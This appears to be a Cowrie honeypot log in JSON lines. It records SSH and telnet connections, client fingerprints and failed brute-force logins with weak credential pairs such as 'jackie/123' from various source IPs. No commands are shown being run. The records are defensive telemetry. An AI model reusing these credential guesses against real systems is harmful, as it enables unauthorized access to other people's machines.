{"eventid":"cowrie.login.failed","username":"pamela","password":"pamela","message":"login attempt [pamela/pamela] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:43:36.674994Z","src_ip":"5.75.137.141","session":"27724f07bb51","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:43:37.765423Z","src_ip":"5.75.137.141","session":"27724f07bb51","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.139.168","src_port":39588,"dst_ip":"159.203.135.109","dst_port":22,"session":"daafa5399b2f","protocol":"ssh","message":"New connection: 142.93.139.168:39588 (159.203.135.109:22) [session: daafa5399b2f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:43:59.203502Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.1_DEV","message":"Remote SSH version: SSH-2.0-libssh2_1.11.1_DEV","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:43:59.207722Z","src_ip":"142.93.139.168","session":"daafa5399b2f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57e4cc8ee36c3d78f75c6a05acd55963","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57e4cc8ee36c3d78f75c6a05acd55963","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:43:59.285836Z","src_ip":"142.93.139.168","session":"daafa5399b2f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jackie","password":"123","message":"login attempt [jackie/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:43:59.445228Z","src_ip":"142.93.139.168","session":"daafa5399b2f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:44:00.525377Z","src_ip":"142.93.139.168","session":"daafa5399b2f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:44:07.066124Z","src_ip":"81.177.101.45","session":"37f007fb665c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"40.81.244.142","src_port":47284,"dst_ip":"159.203.135.109","dst_port":22,"session":"a66c62664c88","protocol":"ssh","message":"New connection: 40.81.244.142:47284 (159.203.135.109:22) [session: a66c62664c88]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:44:07.886947Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:44:07.890973Z","src_ip":"40.81.244.142","session":"a66c62664c88","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:44:08.094606Z","src_ip":"40.81.244.142","session":"a66c62664c88","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"andre","password":"123456","message":"login attempt [andre/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:44:08.938400Z","src_ip":"40.81.244.142","session":"a66c62664c88","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:44:10.145092Z","src_ip":"40.81.244.142","session":"a66c62664c88","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.181.101.111","src_port":41902,"dst_ip":"10.17.0.5","dst_port":22,"session":"8ccd9e93496c","protocol":"ssh","message":"New connection: 135.181.101.111:41902 (10.17.0.5:22) [session: 8ccd9e93496c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:44:44.650580Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.1_DEV","message":"Remote SSH version: SSH-2.0-libssh2_1.11.1_DEV","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:44:44.655012Z","src_ip":"135.181.101.111","session":"8ccd9e93496c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57e4cc8ee36c3d78f75c6a05acd55963","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57e4cc8ee36c3d78f75c6a05acd55963","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:44:44.762430Z","src_ip":"135.181.101.111","session":"8ccd9e93496c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpuser","password":"12345678","message":"login attempt [ftpuser/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:44:44.980290Z","src_ip":"135.181.101.111","session":"8ccd9e93496c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:44:46.089008Z","src_ip":"135.181.101.111","session":"8ccd9e93496c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.65.30.211","src_port":56240,"dst_ip":"10.17.0.5","dst_port":22,"session":"37c71c41be31","protocol":"ssh","message":"New connection: 159.65.30.211:56240 (10.17.0.5:22) [session: 37c71c41be31]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:44:54.805797Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.1_DEV","message":"Remote SSH version: SSH-2.0-libssh2_1.11.1_DEV","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:44:54.810087Z","src_ip":"159.65.30.211","session":"37c71c41be31","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57e4cc8ee36c3d78f75c6a05acd55963","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57e4cc8ee36c3d78f75c6a05acd55963","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:44:54.878957Z","src_ip":"159.65.30.211","session":"37c71c41be31","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"software","password":"12345678","message":"login attempt [software/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:44:55.021431Z","src_ip":"159.65.30.211","session":"37c71c41be31","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:44:56.093044Z","src_ip":"159.65.30.211","session":"37c71c41be31","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"182.186.57.248","src_port":33726,"dst_ip":"10.17.0.5","dst_port":23,"session":"0db25f94324b","protocol":"telnet","message":"New connection: 182.186.57.248:33726 (10.17.0.5:23) [session: 0db25f94324b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:45:04.913757Z"}
{"eventid":"cowrie.session.closed","duration":13.555724143981934,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:45:18.469330Z","src_ip":"182.186.57.248","session":"0db25f94324b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.238","src_port":36092,"dst_ip":"159.203.135.109","dst_port":22,"session":"5f5e1e7ab185","protocol":"ssh","message":"New connection: 2.57.122.238:36092 (159.203.135.109:22) [session: 5f5e1e7ab185]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:45:36.301087Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:45:36.305282Z","src_ip":"2.57.122.238","session":"5f5e1e7ab185","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:45:36.398795Z","src_ip":"2.57.122.238","session":"5f5e1e7ab185","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"123","message":"login attempt [sol/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:45:36.682350Z","src_ip":"2.57.122.238","session":"5f5e1e7ab185","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:45:37.779480Z","src_ip":"2.57.122.238","session":"5f5e1e7ab185","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.78.207.244","src_port":56504,"dst_ip":"159.203.135.109","dst_port":22,"session":"7b31e4f11944","protocol":"ssh","message":"New connection: 45.78.207.244:56504 (159.203.135.109:22) [session: 7b31e4f11944]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:45:54.058827Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:45:54.062508Z","src_ip":"45.78.207.244","session":"7b31e4f11944","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:45:54.297368Z","src_ip":"45.78.207.244","session":"7b31e4f11944","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"helen","password":"1234","message":"login attempt [helen/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:45:55.910935Z","src_ip":"45.78.207.244","session":"7b31e4f11944","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.8","message":"Connection lost after 3.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:45:57.886265Z","src_ip":"45.78.207.244","session":"7b31e4f11944","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.139.168","src_port":33402,"dst_ip":"10.17.0.5","dst_port":22,"session":"1d3557847713","protocol":"ssh","message":"New connection: 142.93.139.168:33402 (10.17.0.5:22) [session: 1d3557847713]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:46:01.417571Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.1_DEV","message":"Remote SSH version: SSH-2.0-libssh2_1.11.1_DEV","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:46:01.421899Z","src_ip":"142.93.139.168","session":"1d3557847713","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"210.79.190.22","src_port":40710,"dst_ip":"159.203.135.109","dst_port":22,"session":"0fb500d45b52","protocol":"ssh","message":"New connection: 210.79.190.22:40710 (159.203.135.109:22) [session: 0fb500d45b52]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:46:01.426003Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:46:01.429310Z","src_ip":"210.79.190.22","session":"0fb500d45b52","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57e4cc8ee36c3d78f75c6a05acd55963","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57e4cc8ee36c3d78f75c6a05acd55963","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:46:01.497521Z","src_ip":"142.93.139.168","session":"1d3557847713","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jackie","password":"123","message":"login attempt [jackie/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:46:01.652562Z","src_ip":"142.93.139.168","session":"1d3557847713","protocol":"ssh"}
